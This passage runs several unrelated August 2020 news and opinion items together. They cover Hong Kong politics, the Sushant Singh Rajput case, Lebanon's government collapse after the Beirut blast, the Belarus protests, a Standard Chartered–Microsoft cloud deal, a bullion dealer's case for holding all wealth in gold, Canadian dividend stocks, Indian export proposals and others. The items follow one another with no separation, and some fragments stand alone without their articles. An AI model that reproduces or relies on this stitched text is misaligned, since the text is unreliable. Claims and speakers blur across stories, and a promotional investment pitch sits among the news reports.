legislature for the coming year, the pro-Beijing camp maintains a sizable majority. Beijing wants democracy advocates to serve as a loyal opposition that keeps political debates within carefully circumscribed boundaries, Mr. Lau, the adviser, said. The new security law which imposes severe limits on some forms of political speech could help rein in the opposition, he said. If they do not follow this path, they do not have any political careers in this system, they can only act as street fighters, which makes them vulnerable to punishment by the law, Mr. Lau said. August 11 : Sushant Singh Rajputs father KK Singh and sister alleged murder in their statement to the Central Bureau of Investigation (CBI). Earlier in his FIR to Patna police, the late actors father had accused Rhea Chakraborty and five others of abetment to suicide. According to a Times Now report, KK Singh and the late actors sister urged the CBI to look into it as a case of a murder and not as an abetment to suicide. According to media reports, evidences were allegedly destroyed. The central investigative agency recorded the statement of KK Singh and his family on Monday at the residence of his son-in-law OP Singh, who is the commissioner of Faridabad. Rheas affidavit Meanwhile, Rheas plea on transferring the FIR filed in Patna to Mumbai will be heard in the Supreme Court today. Rhea also filed an affidavit seeking protection from alleged media trial against her in connection with the late actors death case. Rhea on Monday said in the affidavit that despite the open investigation of the case, the media has already depicted her as a convict. Reacting to Rheas affidavit, the late stars family lawyer Vikas Singh said, If media wants to get to the truth how can anybody say that free speech should be curtailed? When Mumbai police called people from Bollywood and it was reported in the media, she didn't have problems. Only when media trial is coming to the truth she has problems, Vikas Singh told ANI. Latest updates on Sushant Singh Rajput Death Mystery White House officials have been circulating a proposal that would give U.S. border authorities the extraordinary ability to block U.S. citizens and permanent residents from entering the country from Mexico if they are suspected of being infected with the novel coronavirus, according to two administration officials and a person familiar with the plans. It is unclear whether the Trump administration has the legal authority to block citizens and permanent residents from returning to their own country, but one official said the administration is weighing a public health emergency declaration that would let the White House keep out potentially infected Americans. Medical experts have warned the administration that such restrictions would make little difference in controlling the pandemic, because widespread community transmission already is occurring in the United States. The countrys outbreak is the worlds worst, with more than 5 million confirmed cases and wide circulation in many parts of the country, especially in the South and Southwest. (Washington Post) Featured stories Trump abruptly pulled from briefing after shots fired outside White House (NBC News) Russia becomes first country to approve a COVID-19 vaccine, says Putin (Reuters) U.S. records under 50,000 new cases for 2nd straight day (ABC News) Vaccines and asymptomatic spreaders may hold keys to answering COVID-19 mysteries, experts say (CNN) Were ready: New York plans to welcome 700,000 students back to school buildings in September (Washington Post) Trumps order does little to stop impending eviction crisis, experts say (CNBC) National news 30 Portland protests continue for 75th night on Aug. 10, 2020 Seattle Police Chief Carmen Best says she will retire amid protests, City Council cuts (Seattle Times) Protest march on Portland Police North Precinct declared unlawful assembly Tuesday; multiple arrests (oregonlive.com) Chicago police arrest more than 100 people after looting batters downtown (New York Times) Viral video shows police pointing guns at Black teens who were allegedly victims of attack (The Hill) Protesters gather outside Ferguson Police Department on anniversary of Michael Browns death (CNN) TSA: July air travel down 75% from 2019, but gun confiscation rates triple (CNBC) Video shows Florida police arrest 8-year-old and try to put him in handcuffs (NBC News) Swarm of Salton Sea earthquakes sparks worry about the San Andreas fault (Los Angeles Times) Derecho with 100 mph winds moves across the Midwest, bringing down trees and power lines in Chicago (CNN) Major gas explosion levels Northwest Baltimore homes, killing one and seriously injuring others (Baltimore Sun) Reward offered for info on Tiger King star Carole Baskins husband, who disappeared in 1997 (USA Today) Belarus election: Opposition disputes Lukashenko landslide win (BBC) U.S. angers China with high-profile Taiwan visit (BBC) Indonesias Mount Sinabung volcano erupts twice in three days (NBC News) Puerto Ricans, upset at botched primary, demand answers (Associated Press) France helping Mauritius over MV Wakashio oil spill accident (Reuters) TikTok has entertained offers from potential buyers like Microsoft and Twitter to appease Trump while ByteDance has been preparing to fight back (Business Insider) Greece on alert as Turkey sends survey ship to disputed waters (BBC) Lebanon's political leaders are expected to launch parliamentary consultations to choose a new prime minister after Hassan Diab's government resigned on Monday over the devastating explosion at Beirut's port. The nomination process by parliament's various factions will be a litmus test of whether the Aug. 4 port disaster marks an inflection point in Lebanese politics, or a continuation of decades of corrupt, inept rule. LEBANON INSIGHT: How the Great Collapse Unfolded in Seven Charts One name being bandied about in the media is Nawaf Salam, a former ambassador to the United Nations who currently serves as a judge at the International Court of Justice in The Hague. His candidacy could go some way to reassuring an outraged Lebanese public demanding an end to the graft and sectarianism that have crippled their country. But the militant Hezbollah group that heavily influences Lebanon's economy and politics perceives him as being too close to the Americans and the UN. Diab's predecessor, Saad Hariri, who governed for three years until January 2020, has said he doesn't want to be prime minister again at this point. Local media reported that Lebanese leaders -- who in the past have kept the country rudderless for months while they bickered over a candidate -- are eager to wrap up the nomination process quickly so they don't have a vacuum during these difficult times. The blast, which killed at least 160 people and left a trail of destruction across miles of Beirut, came atop the country's worst political and financial crisis in decades. Diab will continue in a caretaker capacity until a new governing coalition is formed. It's not clear how long that will take in a nation where political divisions mean talks can drag out for months, or whether a caretaker government could conclude any deal with the International Monetary Fund for a bailout or secure international aid. In a speech Monday announcing the government's resignation after just seven months in office, Diab accused a corrupt political elite of sabotaging his administration. "Each minister gave it their all," he said. "But some people only care about scoring political points. Their corruption has led to this disaster." Diab had failed to deliver on the demands of protesters who have taken to the streets since October seeking change, nor had he advanced talks with donor countries and the IMF for billions of dollars in aid that a country drowning in debt so badly needs. Anger has surged in a nation already grimly familiar with decades of governmental malfeasance as it coped with the aftermath of a blast caused by 2,750 tons of explosive materials left for six years at the country's main port, despite repeated safety warnings. "We need to move forward with the reforms, structural reforms, not just normal reforms," said Yassine Jaber, member of the Lebanese parliament. "There has been resistance in the political scene for implementing these reforms. I think from here onwards, if this resistance persists, I think the country cannot delay doing these reforms anymore and a total collapse is on the cards," he said on a Bloomberg TV interview on Tuesday. Even before the explosion, the government was barely functioning, unable to regularly collect trash or keep electricity flowing, let alone haul the country out of its worst crisis since the 15-year civil war ended in 1990. RTHK: Opposition leader flees Belarus amid protests Belarusian opposition leader Svetlana Tikhanouskaya said on Tuesday she had fled abroad for the sake of her children, after two nights of clashes following the contested re-election of strongman President Alexander Lukashenko. Tikhanouskaya, a 37-year-old former English teacher, emerged from obscurity to mount the biggest challenge in years to Lukashenko, taking her husband's place in the campaign after he was jailed. "You know, I thought that this whole campaign really had hardened me and given me so much strength that I could handle anything," she said, explaining her decision in a sombre video released on her husband's YouTube channel. "But, probably, I'm still the weak woman I was in the first place. I have made a very difficult decision for myself." Both she and the Belarusian authorities said she had not been forced to leave. There had been concern about Tikhanouskaya's whereabouts after her campaign team said on Monday they had been unable to reach her by phone hours after she was known to have left a meeting with central election commission officials. By Tuesday morning she had joined her children in Lithuania. The state border committee later confirmed her departure. "And I know that many people will understand me, many will judge me and many will hate me. But, you know, God forbid being faced with such a choice the I was faced with," she said. "So, people, take care please. No life is worth what is happening now. Children are the most important thing in our lives." At least one person died as police clashed with protesters on Monday after the opposition accused Lukashenko of rigging the vote amid widespread criticism from Western leaders. Helmeted police fired tear gas, rubber bullets and stun grenades and used batons to disperse thousands of people in Minsk in a second night of violence. Protesters set up barricades in several areas and threw petrol bombs. Local media reported clashes in other towns. In power for more than a quarter of a century, Lukashenko has compared the protesters to criminal gangs and dangerous revolutionaries with shadowy foreign backers. US Secretary of State Mike Pompeo said the election was "not free and fair" and condemned "ongoing violence against protesters and the detention of opposition supporters". Foreign observers have not judged an election to be free and fair in Belarus since 1995, and the run-up to this month's vote saw authorities jail Lukashenko's rivals and open criminal investigations of others who voiced opposition. Tikhanouskaya's campaign rallies drew some of the biggest crowds since the fall of the Soviet Union in 1991. She was initially reluctant to stand, saying she had received an anonymous threat of having her children taken away. She had moved them abroad during the campaign. Her husband, Syarhei, had popularised a protest movement that compared Lukashenko to a cockroach character from a children's fairytale. He was arrested in May. Poland, meanwhile, said it's ready to mediate between Lukashenko and the opposition, the foreign minister said on Tuesday after the second night of protests. "Poland is ready to act as a mediator between Belarus opposition and president Lukashenko," Jacek Czaputowicz told a joint press conference in Riga after meeting his Estonian, Finnish and Latvian counterparts. "There is still a place for dialogue but we will have a hard time trying to convince other Western countries not to impose sanctions against Belarus if the violent crackdown on protesters will continue," he said. Poland has called for an emergency European Union summit on Belarus. (Reuters/AFP) This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. As part of its digital transformation, Standard Chartered will adopt a multicloud approach, where significant applications, including its core banking and trading systems and new digital ventures such as virtual banking and banking-as-a-service, will be cloud-based by 2025, subject to regulatory approvals. The bank will also adopt a cloud-first principle for all new software developments and major enhancements. As technology reshapes the banking industry, Standard Chartered recognizes that a cloud-first strategy is critical to the bank's ambition to make banking simpler, faster and more convenient. By being digital-first, the bank will be able to meet the demand for seamless banking virtually anytime, anywhere, and make banking more accessible to people across its network. Michael Gorriz, Group Chief Information Officer of Standard Chartered, said, "Cloud is a cornerstone of Standard Chartered's strategy to meet the present and future banking needs of our clients. Cloud providers have invested massively in the reliability and automation of infrastructure and platforms. Using cloud services improves our ability to be agile and innovative, while increasing our operational efficiency and resilience. As disruption in the financial industry continues, we can focus on client benefits by deploying our solutions quicker and allowing for faster integration of new business models and partners. To realize our digital ambitions, Standard Chartered has chosen Microsoft as a strategic partner and this partnership marks a major milestone for the bank in adopting a cloud-first approach." Bhupendra Warathe, Chief Technology Officer, Cloud Transformation at Standard Chartered, added, "The pandemic has shone a spotlight on the need for businesses and banks to be resilient from a risk mitigation, cost and security perspective. With the increasing trend of an always-on digital economy, commercial and consumer clients are looking for applications and services that empower them to do online banking from anywhere, flexibly and efficiently. The speed and scale of continuous innovation offered by Azure allows us to innovate with the latest AI services to meet evolving client needs. We can pilot new apps in one market and scale them rapidly across others. This is especially important for a bank with a footprint as broad and diverse as ours." Standard Chartered will adopt Microsoft Azure as a preferred cloud platform to meet the bank's need for resilient data centers and cloud services and addressing customers' security, privacy and compliance requirements across the bank's global footprint. The first set of capabilities to move to Microsoft Azure will be Standard Chartered's trade finance systems, allowing for seamless cross-border trade for the bank's corporate and institutional clients. The partnership will also advance the bank's digital workplace transformation with Microsoft 365 and Microsoft Teams providing modern productivity and collaboration tools to Standard Chartered's 84,000 employees across its 60 markets. Co-innovating the future of banking Standard Chartered will also use Microsoft Azure artificial intelligence (AI) and data analytics capabilities to enhance and automate banking processes as well as deliver hyper- personalization of its client products and experiences. Co-innovation in open banking application programming interface (API) and Internet-of-Things-based, real-time payments will also help the bank unlock new banking experiences for clients. Bill Borden, Corporate Vice President of Worldwide Financial Services at Microsoft, said, "Cloud computing is an enabler for financial institutions to modernize their infrastructure and systems, to gain the agility they need to respond to competitive pressures, regulatory environments and customer demand. We are committed to helping Standard Chartered Bank in its ongoing digital transformation journey as it strives to address evolving customer needs and build the next generation of banking experiences." Addressing the social needs of communities in the emerging markets Standard Chartered strives to understand the evolving needs of its communities and be an enabler for change. As a part of the strategic partnership, the bank and Microsoft will explore sustainable finance and business initiatives to expand sustainability across the industry. About Standard Chartered Bank We are a leading international banking group, with a presence in 60 of the world's most dynamic markets, and serving clients in a further 85. Our purpose is to drive commerce and prosperity through our unique diversity, and our heritage and values are expressed in our brand promise, Here for good. Standard Chartered PLC is listed on the London and Hong Kong Stock Exchanges. For more stories and expert opinions please visit Insights at sc.com. Follow Standard Chartered on Twitter, LinkedIn and Facebook. About Microsoft Microsoft (Nasdaq "MSFT" @microsoft) enables digital transformation for the era of an intelligent cloud and an intelligent edge. Its mission is to empower every person and every organization on the planet to achieve more. SOURCE Microsoft Corporation A Simple Way to Preserve Your Wealth Amid Uncertainty The term unprecedented has been used to explain 2020 throughout the world. Whether it be the simultaneous triple bubble that is currently being experienced within equity, bond, and real estate markets, or the volume of quantitative easing deployed by central banks in order to combat Covid-19, 2020 has been an unprecedented year thus far to say the least. Safety and stability of capital has been difficult to find, as many volatility indicators, such as the VIX, continue to point towards future uncertainty. Gold, however, has gone against the grain in 2020, as it has continued its strong historical performance and has done an excellent job at preserving wealth. As of July 31, 2020, gold has appreciated 29.02% in US dollars (USD) and 33.20% in Canadian dollars (CAD). These results should not come as a surprise to investors, as gold has increased an average of 10.6% (USD) and 9.8% (CAD) since 2000. With tremendous upside available for gold amid future uncertainty within the markets, and a proven historical track record of strong performance, it is surprising that gold does not hold a larger allocation size within most investor portfolios. Chart 1 demonstrates the superior performance of gold over the last 20 years, regardless of which currency is selected for holding gold. Across major currencies, the average annual return throughout the time period is 12.07%. The economies of the world are handling the elevated levels of uncertainty associated with the pandemic in different manners. Determining which economies will pick up first, and thus strengthen their currency, is hard to determine. However, making the decision to simply hold gold regardless of currency has proven to be a prudent decision for personal wealth management. With the United States continuing quantitative easing and abusing their power as a reserve currency within the global economy, there continues to be an excellent opportunity for gold appreciation. Speaking of the exceptional performance of gold throughout the last 20 years is relatively meaningless without comparing it to the performance of other commonly purchased assets. To put golds historical performance into better perspective, an analysis was completed to compare the risk and returns from various asset classes. Chart 2[1] displays the volatility and return of major asset classes throughout the last 20 years. The calculation used for returns is calculated using the compound annual growth rate (CAGR), while risk is measured using annualized standard deviation (from monthly price changes throughout the period). The CAGR is the rate of return assuming that profits were reinvested at the end of each year over an investments lifespan. Throughout the asset classes under observation, the average CAGR was 5.84% while the average standard deviation was 0.1634. As demonstrated, gold outperformed the average, as it yielded a 10.3% CAGR during the observation period. None of the asset classes under observation achieved higher returns throughout the time period. The only asset classes to provided similar returns were gold miners (10.3%) and US REITs (9.5%). However, both alternatives come with enhanced risk due to the higher standard deviations. The 0.1682 standard deviation of gold was only slightly higher than the average of 0.1634, while gold miners displayed a 0.4096 standard deviation during the same time frame. Taking both risk and return into consideration shows that gold has been an optimal asset class for bolstering wealth preservation over the last 20 years. However, not every way of holding gold offers the same results. Physical bullion provides the optimal mix of risk and return for investors. Over the years, one of the major misconceptions that I have come across while advocating the benefits of adding physical gold to investors portfolios is that they already have an allocation designated for gold. Most of these allocations are to commodities or gold miners. As displayed in Chart 3, disregarding physical bullion and utilizing alternative methods would have been detrimental to investors over the last 20 years. Physical bullion is the optimal method for holding gold when compared to both the Bloomberg Commodity Index (BCOM) and the NYSE ARCA Gold BUGS index (HUI). BCOM is the most widely used benchmark for the commodities market, tracked by approximately $85 billion in assets. Within the index, gold is the highest-weighted constituent at 12.24%[1]. The index has negative returns of -30.6%, which clearly indicates that holding commodities within a portfolio should not be considered as the equivalent to holding physical bullion. On the contrary, the HUI index is comprised of the 15 largest and most recognized publicly traded gold production companies. Although the index displayed tremendous upside from 2000 to 2010, the dangers of high levels of volatility were displayed, as prices have yet to recover from the steep drop-off experienced following 2012. Throughout the 20-year period, the standard deviation using monthly changes in prices indicates that physical bullion provides investors with a higher return and less risk, thus providing enhanced security to investors seeking wealth preservation. Physical bullion had a standard deviation of 0.1670 compared to 0.4094 for the HUI index. Evidently, holding commodities or gold miners within a portfolio should not be considered an equivalent to purchasing physical bullion. Physical bullion clearly makes a convincing case to be added to investors portfolios not only for diversification benefits, but also for strong historical returns of 610% over the last 20 years. Traditionally, gold advocates and investors tend to evaluate portfolio performance by introducing increments of gold into their portfolio. Evidence can be found from various sources and our past articles, which describe how adding gold to your portfolio can increase returns and reduce overall risk. These measures typically focus on allocating a range between 2% and 10% in order to create a truly balanced portfolio. However, the purpose of this article is to flip this traditional approach over. We will evaluate the performance of various portfolios that begin with a 100% gold allocation, then compare the performance of other portfolios with incrementally lower allocations of gold used within the portfolio. The first eight columns in Chart 4A display the allocation sizes for each of the respective portfolios, whereas the final two columns show the CAGR and standard deviation. Each of the assets was given an equal weighting based on available capital remaining after the specified gold allocation. Cash never surpassed an allocation of 2% and was not given an equal weighting with the remainder of the asset classes. As displayed in Chart 4A, a 100% allocation to gold (portfolio 1) would have provided the highest CAGR of 10.3%. Each reduction in gold allocation results in a lower compounded annual growth rate for each portfolio throughout the observable time period. Comparatively speaking, portfolio 6 and 7 represent traditional 60/40 portfolios consisting of only stocks and bonds. Choosing to hold 100% gold over the 20-year period rather than investing in a traditional 60/40 portfolio would have been the most beneficial decision for wealth preservation. Chart 4B displays the performance of the 7 portfolios under observation assuming an initial investment of $100,000. Portfolio 1 would have turned the $100,000 investment into $709,991 by the end of the time-period. On the contrary, portfolio 6, which holds constituents of a typical 60/40 portfolio, would have yielded $338,308 during the same time period. That is a difference of $371,683, or over $18,500 per year. Holding 100% physical bullion throughout the time period displays the best benefits for wealth preservation, as the monetary difference between the portfolios is more than double. At BMG Group, we have continuously advocated the addition of gold to traditional 60/40 portfolios, and the rationale is clear. Gold provides significantly higher returns for your portfolio. In conclusion, it is evident that holding gold should be a priority for investors considering the looming economic uncertainty within the economy, as well as the historically superior performance of gold over the last 20 years. It would be naive for investors to continue ignoring the benefits of adding physical bullion to their portfolios during these turbulent times. To download PDF version By Nick Barisheff www.bmgbullion.com Nick Barisheff is the founder, president and CEO of Bullion Management Group Inc., a company dedicated to providing investors with a secure, cost-effective, transparent way to purchase and hold physical bullion. BMG is an Associate Member of the London Bullion Market Association (LBMA). Widely recognized as international bullion expert, Nick has written numerous articles on bullion and current market trends, which have been published on various news and business websites. Nick has appeared on BNN, CBC, CNBC and Sun Media, and has been interviewed for countless articles by leading business publications across North America, Europe and Asia. His first book $10,000 Gold: Why Golds Inevitable Rise is the Investors Safe Haven, was published in the spring of 2013. Every investor who seeks the safety of sound money will benefit from Nicks insights into the portfolio-preserving power of gold. www.bmgbullion.com 2020 Copyright Nick Barisheff - All Rights Reserved Disclaimer: The above is a matter of opinion provided for general information purposes only and is not intended as investment advice. Information and analysis above are derived from sources and utilising methods believed to be reliable, but we cannot accept responsibility for any losses you may incur as a result of this analysis. Individuals should consult with their personal financial advisors. 2005-2019 http://www.MarketOracle.co.uk - The Market Oracle is a FREE Daily Financial Markets Analysis & Forecasting online publication. Source: Xinhua| 2020-08-11 18:28:46|Editor: huaxia Video Player Close BEIRUT, Aug. 11 (Xinhua) -- Egyptian Foreign Minister Sameh Shoukry said on Tuesday that Egypt is investing great efforts in helping Lebanon after Beirut's blasts, the National News Agency reported. Egypt is sending humanitarian assistance by air and support for the reconstruction by sea, Shoukry said after meeting with Lebanese President Michel Aoun at Baabda Palace in Lebanon. Shoukry emphasized the need to work on priorities of the Lebanese reconstruction efforts following the huge explosions. Earlier in the day, Lebanon's Secretary General of the Higher Relief Council Mohammad Kheir said that 70,000 houses were affected by the explosions that hit Beirut's port, Elnashra news website reported. Two huge explosions rocked Port of Beirut on Aug. 4, shaking buildings all over Lebanon's capital and killing at least 160 people while wounding about 6,000 others. Enditem Thomas Murray, the chief deputy director with Will County Emergency Management Agency, said while he did not want to minimize any property damage experienced across the region during the storm, officials were thankful the response largely consisted of things such as clearing roads blocked by downed trees. No major incidents were reported, he said. The Tax-Free Savings Account (TFSA) celebrated its tenth anniversary in January 2019. At the start of this year, the cumulative contribution room in a TFSA rose to $69,500. Assuming the annual limit rises by another $6,000, this amount will climb to $75,500. I love the TFSA as a vehicle for growth investors, but this also a fantastic base for investors who are looking to generate tax-free income this decade. In July, Id looked at three dividend all-star stocks. A dividend all-star stock should possess a strong track record, represent a high-quality company, and have an attractive balance sheet. Below are three dividend stocks that I believe fit the bill for a TFSA today. Why this energy dividend stock is a good target for your TFSA Canadian Natural Resources (TSX:CNQ)(NYSE:CNQ) is a Calgary-based company engaged in hydrocarbon exploration primarily in Western Canada, the United Kingdom sector of the North Sea, and offshore Cote dIvoire and Gabon. Shares of Canadian Natural Resources have dropped 33% in 2020 as of close on August 10. However, the stock is up 20% over the past three months. This energy stock offers a nice dividend for a TFSA. In the second quarter of 2020, the company generated adjusted funds flow of $415 million. Liquidity remained strong at $4.1 billion to end the quarter. However, the company did suffer from curtailed production and lower commodity prices in Q2 2020. Shares of Canadian Natural Resources last had a favourable price-to-book value of 1.0. On August 6, it announced a quarterly dividend of $0.425 per share. This represents a tasty 6.2% yield. The company has delivered dividend growth for 20 consecutive years. Canadian Natural Resources is an undervalued stock that offers strong income for a TFSA. Top bank stocks are still undervalued Bank of Montreal stock has dropped 20% in 2020, but shares have climbed 13% over the past three months. Canadian banks saw revenue and earnings take a big hit in Q2 2020, but things are looking up ahead of the third quarter earnings season. Investors can expect to see BMOs Q3 2020 results in late August. Story continues TFSA investors on the hunt for value should be targeting bank stocks right now. Shares of BMO last possessed a price-to-earnings ratio of 10 and a P/B value of 0.9, putting BMO in attractive value territory relative to industry peers. Moreover, the stock last paid out a quarterly dividend of $1.06 per share, representing a strong 5.5% yield. BMO has achieved dividend-growth for eight consecutive years. One more dividend stock to snag in TSFA TFI International (TSX:TFII) the final dividend all-star stock I want to look at for TFSA Investors. The company provides transportation and logistics services in North America. Its shares have surged 57% over the past three months as of close on August 10. In Q2 2020, the company saw net cash from operating activities increase to $227.9 million compared to $141.4 million in the prior year. Shares of TFI International past possessed a P/E ratio of 15. The stock looks undervalued relative to industry peers at the time of this writing. TFI International last paid out a quarterly dividend of $0.26 per share, which represents a modest 1.7% yield. The company has delivered dividend growth for nine consecutive years. The post TFSA: 3 Dividend All-Star Stocks to Own Forever appeared first on The Motley Fool Canada. More reading Fool contributor Ambrose O'Callaghan has no position in any of the stocks mentioned. The Motley Fools purpose is to help the world invest, better. Click here now for your free subscription to Take Stock, The Motley Fool Canadas free investing newsletter. Packed with stock ideas and investing advice, it is essential reading for anyone looking to build and grow their wealth in the years ahead. Motley Fool Canada 2020 The Confederation of Indian Industry (CII), in a 10-point agenda for increasing India's exports of goods and services in line with the Prime Minister's vision of an "Atma Nirbhar Bharat", has said the country must aim to achieve 5% share in world merchandise exports and 7% in services exports by 2025. India's goods exports declined to $313 billion in 2019-20, and its share in global merchandise exports stands at 1.67%. In services, the export sector enjoys 3.54 per cent share. The CII report, titled 'Re-orienting India's Export Endeavour in the Covid-19 World', states the pandemic provides a big opportunity for India to better engage with the world and boost its export performance. "The pandemic situation has impacted world trade negatively...this is an opportune time for India to strengthen its domestic manufacturing through a strong partnership between the Government and Industry," said Chandrajit Banerjee, Director General, CII, said. He added as more countries are looking at realigning their trading strategies and diversifying their import, India must leverage it by emerging as an alternative destination for sourcing cost-effective, quality products. Outlining 10 areas where the action is required to boost exports, the CII report urges the Centre to provide open and facilitative import environment to attract global companies. It also seeks higher duties on finished goods and lower duties on intermediates. The CII says the Centre should bring in the Foreign Trade Policy at the earliest to establish a predictable export policy regime. Export finance must also be expanded, it said, adding that the Interest Equalisation Scheme should be extended for another two years for all exporters. The report says the Centre must strengthen Export Credit Guarantee Corporation to raise resources and lower risks. "Four, trade facilitation can be strengthened through digital tools for faster movement of goods at the border," it said. The CII also vouched for the extension of the Trade Infrastructure for Export Scheme (TIES) to boost hinterland connectivity. The CII also wants the Centre to carry out the Ease of Doing Business reforms to enhance competitiveness, with monitoring at the Chief Secretary level. Time-bound approvals and effective on-ground implementation of single window system across all states is required, it added. Adequate funding for meeting quality standards and providing certification facilities is necessary to strengthen enterprise competitiveness, it added. On the external front, India needs to leverage existing free trade agreements for exports and enter into FTAs with large market nations, the CII said. To strengthen India's participation in GVCs, the CII paper suggests an openness to FDI for technology transfer and stresses on the liberalisation of the services sectors. The marketing promotion in top markets is essential, it says, adding that promoting 'brand India' and setting up a dedicated marketing agency for key markets and expanding the Market Access Initiative and Market Development Schemes was key to boost exports. Also read: Coronavirus impact: China's exports shrink 3.3% in May; import plunges to 16.7% Also read: Govt allows export of made-in-India ventilators Also read: Boycott China manifests! Chinese exports to India crash 25% in 2020; trade down 19% Freelancers face threat of losing source of income - illustration photo As the oldest street for childrens clothes and toys in Hanoi, Luong Van Can was always crowded when students were on holiday. But this summer the street has become sparse and quiet because many families are tightening their belts due to the financial impacts of the coronavirus pandemic. While some stores are showing positive signs, adapting and diversifying where they can, others are still operating but with much fewer employees, and others have had to relieve all employees of their duties. Kim Dung, owner of a toy shop on Luong Van Can street said, At this time last year, every day the store turnover was up to hundreds of millions of VND, so I had to hire three salespeople. This month, I had to let them go. The store only makes a few million VND a day now, which is not enough to pay both rent and salaries. Dung shared that an employee begged her to stay and would accept half their salary compared to before. Feeling guilty, Dung promised that when the business situation is better, she will call them back if they have not found a new job. The situation of small companies and individual business households going bankrupt has led to an increase in unemployment among self-employed workers. Different from the group of self-employed labourers who sell lottery tickets, motorbike taxi drivers, and street vendors for example, those working in business households in fashion, dining, accommodation, tourism, healthcare, and other services are often assessed as more stable due to the less precarious work and the regular monthly income. However, these workers are usually recruited based on voluntary agreements between the two parties without labour contracts and are not covered by insurance as prescribed by the countrys labour regulations. Because income and employment depend entirely on the employers business situation, these workers can be dismissed suddenly without enjoying basic benefits like severance pay or unemployment benefits. In order to make a living many of them, after being laid off, have to take on many other jobs at construction sites or as motorbike taxi riders, street vendors, or returning to their hometown to find a new job. Duc Trong, an employee of a hair salon on Pham Ngoc Thach street, said after the hair salon was closed, he had to switch to being a Grab driver for about two months until he got a job at another hair salon. Street vendors, whose income depends on these small businesses, are suffering. Do Thi Lan said before the outbreak, street vendors in Hanois Old Quarter earned VND200,000-300,000 ($9-$13) per day, but now only enough money for daily meals and renting houses. If the pandemic situation persists, she will go home to grow vegetables and raise chickens instead of staying in the city, barely able to make a living. She said, In the past, I used to deliver goods to shop owners in the Old Quarter, but now they cannot rent the store and business is sluggish so they rarely buy things. I push the cart from morning to afternoon but hardly sell anything. At this rate, I might have to return to my hometown. Le Quan, Deputy Minister of Labour, Invalids and Social Affairs said freelance workers are vulnerable and often do not know about their rights and are not protected by any specific organisation. During the recent pandemic period, these freelance workers were also on the list of beneficiaries of the VND62 trillion ($2.7 billion) social security package under Decision 15/2020/QD-TTg of the prime minister. However, with the complicated evolution of the disease and the new outbreak, this group of workers will face the risk of prolonged unemployment. Many self-employed workers have shared that they are afraid of losing their jobs more than they are afraid of disease, because in the current difficult situation their chances of finding employment are much lower than those of trained and experienced workers. The Ministry of Labour, Invalids and Social Affairs has considered a worst-case scenario where the number of unemployed workers could increase by about 60,000-70,000 per month in the near future, focusing mainly on areas such as tourism, construction, and manufacturing. The Legislative Finance Committee (LFC) recently released a study of the inaugural cohort of the states pre-K program, concluding that prekindergarten remains a cost-effective way to improve student outcomes. But the LFCs own data shows that expanding pre-K would instead be a costly mistake. The LFCs study cites statistically significant improvements in childrens outcomes, which in real life are essentially meaningless. Children who attended pre-K scored barely higher on the six kindergarten-entry readiness domains measured just a couple of percentage points at most. In the crucial areas of literacy and mathematics, only about 60% were kindergarten-ready, whether they attended pre-K or not. Differences in third-grade PARCC proficiencies, too, were tiny. Almost three-quarters of both pre-K and non-pre-K groups failed to meet third-grade PARCC proficiency in English: 70.3% of pre-K attendees and 71.9% of non-attendees. Roughly two-thirds of both groups failed to meet standards in math: 65.9% of children who went to pre-K compared to 68.1% of children who did not. If pre-K were affecting childrens achievement, New Mexicos National Assessment of Education Progress (NAEP) scores would be rising as pre-K attendance goes up. From 2011 to 2019, however, while the percentage of fourth-graders who had attended pre-K almost tripled, the percentage scoring at or above Basic on the NAEP reading exam remained precisely the same at 53%. In math, that percentage actually declined from 75% to 72%. The largest outcome differences the LFC reports are for chronic absence missing over 10% of school and high school graduation within four years. Twelve percent of children who went to pre-K were chronically absent compared to 16% of those who did not attend. Eighty percent of the 1,540 students in the inaugural pre-K cohort graduated within four years compared to 74% of the roughly 25,000 students who had not gone to pre-K 14 years prior. Both these differences are likely caused by parents, though, not by children starting school when theyre 4 instead of 5. Parents who voluntarily send their 4-year-old to school for an entire year also probably try harder to make sure their child attends school regularly and graduates on time. That is, children who attend pre-K have exactly the parents most likely to ensure their success throughout schooling. And the influence of a childs parents greatly outweighs a single year of school, whether thats pre-K or fifth grade. Finally, the LFC study concludes that pre-K is a cost-effective use of taxpayer dollars. But compared to what? Cost effectiveness means comparing various programs to determine which yield the biggest results for the same expenditure of limited resources. Policymakers cant decide (if) spending $100 on Program X makes sense if they only know it yields an eventual benefit of $106. How does $106 compare to the benefit of spending $100 on other programs with the same goal? In the case of improving school achievement, the LFC itself has identified approaches far more effective than pre-K. In a 2017 study, the LFC found that teacher quality had the most impact on a students academic achievement of all school-related factors, reporting positive effects which were orders of magnitude larger than any associated with pre-K. Childrens PARCC scores in math and reading varied by up to 49 percentage points over three years, depending on whether they had effective or ineffective teachers. Low-performing schools that participated in Teachers Pursuing Excellence peer mentoring increased the percentage of students scoring at proficient or above on the PARCC exam from 24% to 35% in reading and 16% to 27% in math, over just two years. Policymakers should be seeking the most effective use of resources to improve student outcomes and help children who need help the most. Based on the LFCs recent study, adding a pre-K grade to the public schools seems like more of a cost-effective way to rearrange deck chairs on the Titanic. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, August 11, 2020 15:56 526 6657ac82168da9fa101c8a4066d25b39 1 National Air-Force,Air-Force-base,AircraftIncident,aircraft,Jet-fighters Free The Indonesian Air Force has launched a probe into an accident of a T-50 Golden Eagle jet fighter that skidded off the runway during a training course at Iswahjudi Air Force Base in Madiun, East Java, on Monday. No casualties were reported. An Air Force instructor and a cadet pilot who was piloting the aircraft suffered minor injuries in the accident, Air Force spokesperson Air Commodore Fajar Adriyanto said. "[The aircraft] sustained significant damage," Fajar said on Monday without elaborating further on the matter. 'We'll find the cause of [the incident] through the investigation," he added. The accident happened at around 1 p.m. on Monday when the South Korean-made jet fighter trainer, belonging to the Indonesian Air Force, was used for a routine training exercise. The aircraft skidded off the runway during take-off. At that time, the cadet was sitting in front while the instructor was sitting behind, and both managed to get out of the aircraft afterward, Fajar said. "They are currently receiving treatment at hospital," he added. Less than two months earlier, an Indonesian Air Force Hawk 209 jet fighter crashed on June 15 in a residential area of Kampar regency in Riau. At least two houses were damaged and no fatalities were reported. (afr) live bse live nse live Volume Todays L/H More Auto components maker Motherson Sumi Systems Ltd on August 11 reported a consolidated net loss of Rs 1,191.65 crore for June quarter 2020 hit hard by the coronavirus pandemic. The company logged a net profit of Rs 360.64 crore in the same quarter last fiscal, Motherson Sumi Systems Ltd (MSSL) said in a regulatory filing. Total revenue from operations during the quarter under review stood at Rs 8,503.89 crore. It was at Rs 16,792.53 crore in the year-ago period. "The group's operations and consolidated financial results for the quarter ended June 30, 2020 